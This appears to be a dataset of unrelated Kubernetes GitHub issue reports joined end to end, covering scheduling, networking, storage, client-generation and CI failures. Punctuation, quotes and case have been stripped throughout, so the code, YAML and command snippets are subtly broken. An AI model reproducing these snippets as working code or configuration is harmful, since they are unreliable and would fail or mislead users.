\r i see a user on stackoverflow using  g1-small  and seeing kube-proxy getting terminated.\r \r  stackoverflow question  http://stackoverflow.com/questions/40564218/kubernetes-on-gce-prevent-pods-undergoing-an-eviction-with-the-node-was-low-o \r \r i can't tell if that is user setup error or kubernetes bug, or if  g1-small  is just not a good idea.\r we don't run any e2e tests using  g1-small , and we don't specifically advise against them.\r \r we should do one or the other.\r \r

environment  :\r -   kubernetes version    use  kubectl version  : 1.6.1\r -   cloud provider or hardware configuration  : vm on softlayer\r -   os    e.g. from /etc/os-release : centos linux 7  core \r -   kernel    e.g.  uname -a  : 3.10.0-514.10.2.el7.x86_64\r -   swagger codegen  : 2.2.2\r \r this is a bug report\r \r   problem:  \r the swagger codegen 2.2.2, used to create a java/jersey2 client, does not provide a string constructor for the class  v1finalizername .\r \r the execution of the following code snippet:\r \r    \r // client object init\r apiv1api v1 = new apiv1api client ;\r v1namespacelist nslist = v1.listnamespace \ true\ , null, null, null, null, null ;\r for  v1namespace ns : nslist.getitems    {\r     system.out.println ns.getmetadata  .getname   ;\r }\r    \r \r cause at runtime the error:\r  com.fasterxml.jackson.databind.jsonmappingexception: can not instantiate value of type  simple type, class com.vts.k8s.swagger.client.model.v1finalizername  from string value  'kubernetes' ; no single-string constructor/factory method \r \r   workaround:  \r add this to the generated  v1finalizername  class:\r \r    \r public v1finalizername string s  {\r }\r    \r \r   proposed solution:  \r fix the api definitions to have the string constructor in class  v1finalizername  using swagger codegen.\r

44784 changes the openapi model names from \ io.k8s.kubernetes...\  to \ io.k8s.api...\ . we need to investigate if it breaks backward compatibility.

when detaching disk, if the volume status is already available, detach should return true instead of error. \r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/openstack/openstack_volumes.go l261

\r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r kubenet does not support the latest cni version which is required for ipv6.\r ipv6 addresses cannot be assigned.\r \r   what you expected to happen  :\r ipv6 addressing.\r \r   how to reproduce it  as minimally and precisely as possible   :\r use an ipv6 address with kubenet\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

kubeadm-gce and kubeadm-gce-selfhosting jobs still use the  k8s.gcr.io/etcd-amd64:<etcd-version>  tags when referencing etcd images but should be updated to use the  k8s.gcr.io/etcd-amd64:<etcd-version>-<image-revision> .  to mitigate the problem in the short term we've tagged the  k8s.gcr.io/etcd-amd64:3.2.18-0  docker image with  k8s.gcr.io/etcd-amd64:3.2.18 .\r \r \r xref https://github.com/kubernetes/kubernetes/issues/62701 \r   

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r pr https://github.com/kubernetes/kubernetes/pull/66429  fixed pull image error from a cross-subscription azure container registry by   service principal  , while for msi, this issue is not fixed. \r need to find a way how to fix this issue for msi, related code is here:\r https://github.com/kubernetes/kubernetes/blob/3741f0262f2fa270e61cf175e573c69ff955f0ae/pkg/credentialprovider/azure/azure_credentials.go l181-l197\r \r here the difficulty is  registryclient.list    could not list all acr since it's based on one subscriptionid:\r    \r registryclient := containerregistry.newregistriesclient subscriptionid \r    \r so if we could not get  loginserver  in a different subscription, how could we set the  dockerconfigentry .\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r error msg would be like following when pull a repository from an acr in another subscription:\r    \r events:\r   type     reason     age                from                               message\r   ----     ------     ----               ----                               -------\r   normal   scheduled  31s                default-scheduler                  successfully assigned default/nginx to k8s-agentpool-95620664-0\r   normal   pulling    15s  x2 over 30s   kubelet, k8s-agentpool-95620664-0  pulling image \ andyacr.azurecr.io/nginx-server:1.0.0\ \r   warning  failed     14s  x2 over 28s   kubelet, k8s-agentpool-95620664-0  failed to pull image \ xxx.azurecr.io/nginx-server:1.0.0\ : rpc error: code = unknown desc = error response from daemon: get https://xxx.azurecr.io/v2/nginx-server/manifests/1.0.0: unauthorized: authentication required\r   warning  failed     14s  x2 over 28s   kubelet, k8s-agentpool-95620664-0  error: errimagepull\r   normal   backoff    1s  x2 over 27s    kubelet, k8s-agentpool-95620664-0  back-off pulling image \ andyacr.azurecr.io/nginx-server:1.0.0\ \r   warning  failed     1s  x2 over 27s    kubelet, k8s-agentpool-95620664-0  error: imagepullbackoff\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v.9 - v1.12\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

what happened  :\r simulated a node failure on my 3 master 1 worker cluster by pausing the second master in virtualbox.\r the round robin entry for a load balancer service of mine still has the pods ip that went down with the node  after an hour of waiting .\r   what you expected to happen  :\r i thought kube-proxy would get an event triggered forcing it to update the ipvs table dropping the pods ip that no longer exists. the load balancer service is an appscode voyager haproxy ingress  they map ingresses to actual load balancer services . it's nothing fancy. \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. pull up a cluster with kubespray v2.8.1 via vagrant+vbox: 3 masters 1 worker\r 2. install the appscode voyager ingress controller with default settings\r 3. create a voyager ingress of type load balancer: https://appscode.com/products/voyager/8.0.1/concepts/ingress-types/loadbalancer/\r 3.1 sscale the load balancer to 4 so that it has a pod on each node\r 4. simulate sudden and complete node failure on the second master node\r 5. wait however long it should be for the node to be considered dead  5 minutes by default i think \r 6. ssh into one of the nodes that are still up\r 7.  sudo ipvsadm --list --numeric \r 8. observe that there's an entry for the load balancer's external ip to be round robined onto all the pods and that the dead pod that sank with the failed node is still there, causing some of the requests hitting the lb service to fail.\r   anything else we need to know?  :\r the node gets recognized as dead and the pod goes into a state of 'terminating' where it remains forever  > 1 hour . \r i use a vbox bridged interface on each host additionally to the ones that kubespray provisions by default. these make the boxes directly visible on my lan, but my issue is internal cluster networking related.\r i use metallb with bgp with an openwrt router running quagga peering with the metallb speakers. i think you probably don't need to know this because my issue is intra-cluster networking related, but want to be thorough here.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.13.4 \r - cloud provider or hardware configuration:  vbox \r - os  e.g:  cat /etc/os-release  :\r    sh\r name=\ ubuntu\ \r version=\ 18.04.2 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.2 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r - kernel  e.g.  uname -a  : \r    linux k8s-1 4.15.0-46-generic  49-ubuntu smp wed feb 6 09:33:07 utc 2019 x86_64 x86_64 x86_64 gnu/linux   \r - install tools:  kubespray \r - network plugin and version  if this is a network-related bug :  flannel \r - others: \r

every day gcloud creates a new $user_dir/.config/gcloud/logs/<date> directory.  kube-up runs gcloud under sudo w/ root permissions so if the first time you run it in a day, the directory gets created with root permissions and hence can't be used without root.  my hack fix is to run a gcloud compute instances list every day at the begnning to get the directory created as me.  a better q might be why gcloud has to be run as root at all.  that's partly related to the fact that it tries to update itself but in my case it cant as i'm using the apt gcloud repository.  but even in that case, it would seem to cause problems.  wondering why no one else has seen it?

we upgrade our nodes by upgrading an rpm that stops the kubelet, updates the binary and starts it again. the behavior i'm seeing  100% consistently and reproducibly  is that when i upgrade the rpm, the new kubelet starts up, and after maybe 3-5 seconds starts killing and restarting the containers on the machine. usually it does all of them, but sometimes it does a subset.  you can see the log of the new 1.2 kubelet starting up, up to the point it starts killing containers at https://gist.github.com/ghodss/c579579e53355aed6508.  the pods are not evicted from apiserver, and their age does not change.  downgrading to 1.1 has the same effect of killing and recreating the containers. note that i had the exact same thing happen when we upgraded from 1.0.3 to 1.1.3. let me know if you need any other details.  @bgrant0607 @dchen1107 @yujuhong   marking as p0 per @bgrant0607

when the merge queue initiates a retest, that should succeed 95% of the time. if that number falls below 80%  3d rolling window average , a human will be paged. the human's job is then to escalate issues as necessary until the flakes have been fixed.  https://docs.google.com/document/d/1jngrrzymgnxovunnzver_tokh_z11vvskxllxu1gg0a/edit   additionally: - percentage of the time during which a merge is possible  post submit tests are not broken    - 24h rolling window   - 90% is the target. < 60% means page.

since the ip assets of kubernetes are owned by the cloud native computing foundation  cncf , it's time for us to move to the cncf cla system. we will beta test first on a test repo before rolling it out everywhere. cc: @bgrant0607

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/10495/  failed:  k8s.io  emptydir wrapper volumes should becomes running {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/empty_dir_wrapper.go:179 expected error:     < errors.errorstring | 0xc8200b8eb0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred

in documentation, \r https://github.com/kubernetes/kubernetes/blob/master/docs/devel/community-expectations.md\r \r in active contributors section,\r   commented on   more than pull requests   in the previous month, or more than 50 pull requests in the previous 12 months.\r \r it does not specify exact number for comments for previous month\r \r

cri doesn't verify responses from remote runtime today. we should verify and check all required responses so as to\r \r - fail fast, e.g. by verifying imageref for pullimage, kubelet could fail at image pulling stage instead of syncpod\r - easy debugging\r - protect kubelet \r \r cc @yujuhong @random-liu @yifan-gu

this issue is to track all the tasks related to upgrade tests and framework for federation as described in  kubernetes federation upgrade tests  https://docs.google.com/document/d/1qjg-8i3ff3clqlxrhpwxhe4bradcdriudppbpheomsw/edit?usp=sharing \r \r -  x  framework for federation upgrade tests\r -     ci jobs for federation upgrade\r - individual test cases\r   -     federated service: @shashidharatd \r   -     federated replicasets: @madhusudancs \r   -     federated deployments: @madhusudancs \r   -     federated ingress: @csbell \r   -  x  federated configmaps: @marun \r   -  x  federated secrets: @marun \r   -  x  federated daemonsets: @marun

gubernator  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-cvm-1-7-upgrade-cluster-new/4 customresourcedefinition-resources-simple-customresourcedefinition-creatingdeleting-custom-resource-definition-objects-works-conformance \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/custom_resource_definition.go:58\r jun 12 23:10:33.948: failed to create customresourcedefinition: the server could not find the requested resource\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/custom_resource_definition.go:49from junit_01.xml\r    \r \r consistently failing in  grid  https://k8s-testgrid.appspot.com/1.5-1.7-upgrade gke-cvm-1-5-cvm-1-7-upgrade-cluster-new&include-filter-by-regex=%5eoverall%24%7ccustomresourcedefinition%5c%20resources%5c%20simple%5c%20customresourcedefinition%5c%20creating%5c/deleting%5c%20custom%5c%20resource%5c%20definition%5c%20objects%5c%20works%5c%20%5c%5bconformance%5c%5d \r \r  /assign @enisoc \r \r as discussed, this might be because deployments are not working in 1.7 tests run after a 1.5->1.7 upgrade.

hi, \r i seem to have an issue where pod affinity is not working with statefulsets persistent volumes as expected  on gke, kubernetes 1.7.2 \r \r as you can see, i have the affinity set to  europe-west1-c , but when the persistent volume is created, it goes to  europe-west1-d , and subsequently the pod cannot start with the error  no nodes are available that match all of the following predicates:: matchnodeselector  2 , novolumezoneconflict  2  \r \r the reason i need to ensure it is in  europe-west1-c  is because i am also mounting two legacy persistentdisks  gocd-master, gocd-master-config , which only exist in that region.  once i have migrated the contents over to the new statefulset pv, i will no longer need this regional affinity.\r \r this is my statefulset file\r    \r $ cat kubernetes/master.pod.yml\r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: gocd-master\r spec:\r   servicename: gocd-master-headless\r   replicas: 1\r   updatestrategy:\r     type: rollingupdate\r   selector:\r     matchlabels:\r       app: master\r       tier: gocd\r   template:\r     metadata:\r       labels:\r         app: master\r         tier: gocd\r     spec:\r       affinity:\r         nodeaffinity:\r           requiredduringschedulingignoredduringexecution:\r             nodeselectorterms:\r             - matchexpressions:\r               - key: failure-domain.beta.kubernetes.io/zone\r                 operator: in\r                 values:\r                 - europe-west1-c\r       securitycontext:\r         fsgroup: 999\r       volumes:\r       - name: gocd-master\r         gcepersistentdisk:\r           pdname: gocd-master\r           fstype: ext4\r       - name: gocd-master-config\r         gcepersistentdisk:\r           pdname: gocd-master-config\r           fstype: ext4\r       restartpolicy: always\r       containers:\r       - name: agent\r         image: $gcp_registry/kube-gocd-master:latest\r         imagepullpolicy: always\r         volumemounts:\r         - name: gocd-master-data\r           mountpath: /godata\r         - mountpath: /tmp/old/gocd-master\r           name: gocd-master\r           readonly: true\r         - mountpath: /tmp/old/gocd-config\r           name: gocd-master-config\r           readonly: true\r         env:\r         - name: agent_auto_register_key\r           valuefrom:\r             secretkeyref:\r               name: $secret_name\r               key: agent_key\r         - name: go_username\r           valuefrom:\r             secretkeyref:\r               name: $secret_name\r               key: user\r         - name: go_password\r           valuefrom:\r             secretkeyref:\r               name: $secret_name\r               key: pass\r         ports:\r         - containerport: 8153\r         - containerport: 8154\r   volumeclaimtemplates:\r   - metadata:\r       name: gocd-master-data\r       labels:\r         app: master\r         tier: gocd\r     spec:\r       accessmodes:   \ readwriteonce\   \r       resources:\r         requests:\r           storage: 75gi\r    \r \r which as you can see creates the pvc:\r    \r $ kg get pvc\r name                                              status    volume                                     capacity   accessmodes   storageclass   age\r gocd-master-data-gocd-master-0                    bound     pvc-a832190d-7b8d-11e7-8837-42010a8400ee   75gi       rwo           standard       43s\r    \r \r and here is the pv\r    \r $ kg get pv\r name                                       capacity   accessmodes   reclaimpolicy   status    claim                                                  storageclass   reason    age\r pvc-a832190d-7b8d-11e7-8837-42010a8400ee   75gi       rwo           delete          bound     gocd/gocd-master-data-gocd-master-0                    standard                 1m\r    \r \r however the pv is created in the wrong region  europe-west1-d :\r    \r $ kg describe pv pvc-a832190d-7b8d-11e7-8837-42010a8400ee\r name:\t\tpvc-a832190d-7b8d-11e7-8837-42010a8400ee\r labels:\t\tfailure-domain.beta.kubernetes.io/region=europe-west1\r \t\tfailure-domain.beta.kubernetes.io/zone=europe-west1-d\r annotations:\tkubernetes.io/createdby=gce-pd-dynamic-provisioner\r \t\tpv.kubernetes.io/bound-by-controller=yes\r \t\tpv.kubernetes.io/provisioned-by=kubernetes.io/gce-pd\r storageclass:\tstandard\r status:\t\tbound\r claim:\t\tgocd/gocd-master-data-gocd-master-0\r reclaim policy:\tdelete\r access modes:\trwo\r capacity:\t75gi\r message:\r source:\r     type:\tgcepersistentdisk  a persistent disk resource in google compute engine \r     pdname:\tgke-peopledata-preprod-pvc-a832190d-7b8d-11e7-8837-42010a8400ee\r     fstype:\r     partition:\t0\r     readonly:\tfalse\r events:\t\t<none>\r    \r \r so as a result the pod fails to start:\r    \r $ kg describe pod gocd-master-0\r name:\t\tgocd-master-0\r namespace:\tgocd\r node:\t\t<none>\r labels:\t\tapp=master\r \t\tcontroller-revision-hash=gocd-master-2056011421\r \t\ttier=gocd\r annotations:\tkubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ statefulset\ ,\ namespace\ :\ gocd\ ,\ name\ :\ gocd-master\ ,\ uid\ :\ a828f63c-7b8d-11e7-8837-42010a8400ee\ ,\ apivers...\r status:\t\tpending\r ip:\r created by:\tstatefulset/gocd-master\r controlled by:\tstatefulset/gocd-master\r containers:\r   agent:\r     image:\teu.gcr.io/peopledata-product-team/kube-gocd-master:latest\r     ports:\t8153/tcp, 8154/tcp\r     environment:\r       agent_auto_register_key:\t<set to the key 'agent_key' in secret 'kube-gocd'>\toptional: false\r       go_username:\t\t<set to the key 'user' in secret 'kube-gocd'>\t\toptional: false\r       go_password:\t\t<set to the key 'pass' in secret 'kube-gocd'>\t\toptional: false\r     mounts:\r       /godata from gocd-master-data  rw \r       /tmp/old/gocd-config from gocd-master-config  ro \r       /tmp/old/gocd-master from gocd-master  ro \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-mxskm  ro \r conditions:\r   type\t\tstatus\r   podscheduled \tfalse\r volumes:\r   gocd-master-data:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tgocd-master-data-gocd-master-0\r     readonly:\tfalse\r   gocd-master:\r     type:\tgcepersistentdisk  a persistent disk resource in google compute engine \r     pdname:\tgocd-master\r     fstype:\text4\r     partition:\t0\r     readonly:\tfalse\r   gocd-master-config:\r     type:\tgcepersistentdisk  a persistent disk resource in google compute engine \r     pdname:\tgocd-master-config\r     fstype:\text4\r     partition:\t0\r     readonly:\tfalse\r   default-token-mxskm:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-mxskm\r     optional:\tfalse\r qos class:\tbesteffort\r node-selectors:\t<none>\r tolerations:\tnode.alpha.kubernetes.io/notready:noexecute for 300s\r \t\tnode.alpha.kubernetes.io/unreachable:noexecute for 300s\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t-------\r   3m\t\t3m\t\t4\tdefault-scheduler\t\t\twarning\t\tfailedscheduling\tpersistentvolumeclaim is not bound: \ gocd-master-data-gocd-master-0\   repeated 4 times \r   3m\t\t14s\t\t12\tdefault-scheduler\t\t\twarning\t\tfailedscheduling\tno nodes are available that match all of the following predicates:: matchnodeselector  2 , novolumezoneconflict  2 .\r

 \r   what happened  :\r since the addition of internal ip reservation, syncing of internal load balancers will fail on legacy networks or automatic networks with subnets generated with a trailing hash.\r \r   what you expected to happen  :\r ilb sync occurs\r \r /assign\r  /area platform/gce

it's twisty and hard to read right now. must refactor for great good!

\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r marshaltoyamlforcodecs adds an indent to the yaml output.\r this code can be combined with printbyteswithlineprefix\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

failing jobs\r  sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-cluster-new  https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-1.10-gci-master-upgrade-cluster-new \r \r   failing tests\r  daemonset-upgrade  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new/2185 \r  deployment-upgrade  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new/2185 \r  job-upgrade  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new/2185 \r  replicaset-upgrade  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new/2185 \r  statefulset-upgrade  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new/2185 \r \r   triage results\r  ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new \r \r tests failing on sig-release-master-upgrade\r  / /  /milestone v1.12\r /cc @tpepper @aishsundar

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : kube-controller-manager starts but listens insecurely on ipv6, even if --secure-port and --bind-address is set\r \r   what you expected to happen  : kube-controller-manager just listens securely when settings are provided\r \r   how to reproduce it  as minimally and precisely as possible   :\r start a cluster on v1.12.0 and set the systemd as follows:\r <pre><code>  --bind-address=127.0.0.1 \\\r   --kubeconfig=/redacted/controller-manager.kubeconfig \\\r   --cluster-cidr=your-pod-cidr \\\r   --cluster-name=clustername \\\r   --cluster-signing-cert-file=/redacted/ca.crt \\\r   --cluster-signing-key-file=/redacted/ca.key \\\r   --controllers= ,bootstrapsigner,tokencleaner \\\r   --leader-elect=true \\\r   --profiling=false \\\r   --root-ca-file=/redacted/ca.crt \\\r   --service-account-private-key-file=/redacted/sa.key \\\r   --service-cluster-ip-range=your-svc-cidr \\\r   --use-service-account-credentials=true \\\r   --secure-port=10259 \\\r   --v=2</code></pre>\r \r   anything else we need to know?  :\r - --kubeconfig is deprecated but the binary does not start without it\r - --authorization-kubeconfig is documented where?  i cannot find it in the docs, maybe my fault \r - the cluster bootstraps correctly and network  weave  + dns  coredns  is working\r - scheduling of pods work\r - csr of nodes get approved and issued\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12.0\r - cloud provider or hardware configuration: bare-metal\r - os  e.g. from /etc/os-release : ubuntu 18.04.01 lts\r - kernel  e.g.  uname -a  : 4.15.0-34-generic\r - install tools: self-made  kelseys hard-way guide \r - others:\r \r <!-- do not edit below this line -->\r /area controller-manager\r 

hey guys ,\r i try to use the option  --override  with  kubectl expose  .\r first i did this and it work :\r    \r kubectl run test-nginx-metadata --image=nginx --replicas=2 --port=80 --expose --service-overrides='{ \ metadata\ : { \ annotations\ : { \ zone-context\ : \ home\  } } } '\r    \r now i want to add another  service  with  kubectl expose \r and this command does not work\r    \r kubectl expose deployment test-nginx-metadata  --port=1000 --target-port=80 --type=nodeport --name=test-nginx-metadata-srv-2 --overrides='{ \ apiversion\ : \ v1\  , \ kind\ : \ service\  , \ metadata\ : { \ annotations\ : { \ zone-context\ : \ work\  } } } '\r    \r i have this error\r    \r error: no kind \ service\  is registered for the internal version of group \ \  in scheme \ k8s.io/kubernetes/pkg/kubectl/scheme/scheme.go:28\ \r    \r if i remove  --overrides  the command work .\r \r \r \r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t19:44:19z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:31:33z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r     \r \r \r

\r   what happened  :\r \r we have deloped a tool to manage an elastic kubernetes cluster.\r we send pods to the cluster and, if there are no free resources, new nodes are automatically added to the cluster.\r when the nodes are added to the cluster  using kubeadm join  pods are assigned to the new node but in many cases the pods stuck in \ containercreating\  state showing this info:\r \r    \r   type     reason                  age                 from                      message\r   ----     ------                  ----                ----                      -------\r   warning  failedscheduling        13m  x11 over 17m   default-scheduler         0/2 nodes are available: 1 insufficient cpu, 1 insufficient memory, 1 node s  had taints that the pod didn't tolerate.\r   warning  failedscheduling        11m                 default-scheduler         0/3 nodes are available: 1 node s  had taints that the pod didn't tolerate, 2 insufficient cpu, 2 insufficient memory.\r   normal   scheduled               11m                 default-scheduler         successfully assigned fn/plants-3ca92873-19f6-4393-af75-c0db54bfdde4-j779l to wn3.localdomain\r   warning  networknotready         10m  x8 over 11m    kubelet, wn3.localdomain  network is not ready:  runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized \r   warning  failedcreatepodsandbox  10m                 kubelet, wn3.localdomain  failed create pod sandbox: rpc error: code = unknown desc = failed to set up sandbox container \ 59bf34f4a3803e50f29d709acf629e734a7793daa36400035ecc46d8b63c2268\  network for pod \ plants-3ca92873-19f6-4393-af75-c0db54bfdde4-j779l\ : networkplugin cni failed to set up pod \ plants-3ca92873-19f6-4393-af75-c0db54bfdde4-j779l_fn\  network: open /run/flannel/subnet.env: no such file or directory\r    \r \r   what you expected to happen  :\r \r pods successfully launched and running.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a cluster and launch a set of pods that required more resources than the actual available resources.\r they remain in pending state. then add a new node to the cluster to execute these pods.\r \r   anything else we need to know?  :\r \r it seems that the scheduler assigns the pods to the node before it has the network ready  is our case using the flannel network .\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:39:04z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:28:14z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r - cloud provider or hardware configuration:\r kvm vms with 2 cpus and 4 gb of ram.\r - os  e.g. from /etc/os-release :\r ubuntu 16.04.5 lts\r - kernel  e.g.  uname -a  :\r    \r linux kubeserver.localdomain 4.4.0-131-generic  157-ubuntu smp thu jul 12 15:51:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: \r kubeadm\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r it will be more convenient to include  update-gofmt.sh  when  make update .\r \r   why is this needed  :\r \r now, contributor need to run  make update  and  hack/update-gofmt.sh  both.\r if including  update-gofmt.sh  when  make update , it will be more convenient.\r \r   /assign

currently it is possible in a kubeconfig file to do:      yaml users: - name: kubelet   user:     client-certificate: /etc/kubernetes/certs/kubecfg.crt     client-key: /etc/kubernetes/certs/kubecfg.key      but it is not possible to do:      yaml users: - name: proxy   user:     token: /etc/kubernetes/token/proxy.token      this means that certificates and kubeconfig files can be decoupled and distributed separately, but kubeconfig files and tokens must be managed together.  not sure if it's possible to distinguish, so maybe a \ token_file\  option?

this is more of a question. noticed this while testing out the azuredisk volume plugin.  mount  on one of my nodes shows a lot of duplicated entries.  is this expected, and if so, why?  if not, any idea the cause or resolution? does it stem from running kubelet in container?  cc: @mikedanese as this is a kubernetes-anywhere deployed cluster. any idea if this is expected?  the following is the  sudo mount  output from a node, after some flaky attempts at mounting an azuredisk. not that the mounts completely unrelated to the azuredisk are also duplicated.   this is the  sudo mount  output from a fresh node in a cluster i deployed 10 minutes ago and has been sitting completely idle since.  https://gist.github.com/15d9ca5dc74c88b97f28416226609604  note that it has a few of the  /var/lib/kubelet  lines repeated, but not nearly as many.      shell sysfs on /sys type sysfs  rw,nosuid,nodev,noexec,relatime  proc on /proc type proc  rw,nosuid,nodev,noexec,relatime  udev on /dev type devtmpfs  rw,nosuid,relatime,size=14386188k,nr_inodes=3596547,mode=755  devpts on /dev/pts type devpts  rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000  tmpfs on /run type tmpfs  rw,nosuid,noexec,relatime,size=2881052k,mode=755  /dev/sda1 on / type ext4  rw,relatime,discard,data=ordered  securityfs on /sys/kernel/security type securityfs  rw,nosuid,nodev,noexec,relatime  tmpfs on /dev/shm type tmpfs  rw,nosuid,nodev  tmpfs on /run/lock type tmpfs  rw,nosuid,nodev,noexec,relatime,size=5120k  tmpfs on /sys/fs/cgroup type tmpfs  ro,nosuid,nodev,noexec,mode=755  cgroup on /sys/fs/cgroup/systemd type cgroup  rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd  pstore on /sys/fs/pstore type pstore  rw,nosuid,nodev,noexec,relatime  cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup  rw,nosuid,nodev,noexec,relatime,net_cls,net_prio  cgroup on /sys/fs/cgroup/memory type cgroup  rw,nosuid,nodev,noexec,relatime,memory  cgroup on /sys/fs/cgroup/perf_event type cgroup  rw,nosuid,nodev,noexec,relatime,perf_event  cgroup on /sys/fs/cgroup/freezer type cgroup  rw,nosuid,nodev,noexec,relatime,freezer  cgroup on /sys/fs/cgroup/pids type cgroup  rw,nosuid,nodev,noexec,relatime,pids  cgroup on /sys/fs/cgroup/hugetlb type cgroup  rw,nosuid,nodev,noexec,relatime,hugetlb  cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup  rw,nosuid,nodev,noexec,relatime,cpu,cpuacct  cgroup on /sys/fs/cgroup/devices type cgroup  rw,nosuid,nodev,noexec,relatime,devices  cgroup on /sys/fs/cgroup/cpuset type cgroup  rw,nosuid,nodev,noexec,relatime,cpuset  cgroup on /sys/fs/cgroup/blkio type cgroup  rw,nosuid,nodev,noexec,relatime,blkio  hugetlbfs on /dev/hugepages type hugetlbfs  rw,relatime  mqueue on /dev/mqueue type mqueue  rw,relatime  systemd-1 on /proc/sys/fs/binfmt_misc type autofs  rw,relatime,fd=33,pgrp=1,timeout=0,minproto=5,maxproto=5,direct  debugfs on /sys/kernel/debug type debugfs  rw,relatime  fusectl on /sys/fs/fuse/connections type fusectl  rw,relatime  none on /etc/network/interfaces.dynamic.d type tmpfs  rw,nosuid,nodev,noexec,relatime,size=64k  /dev/sdb1 on /mnt type ext4  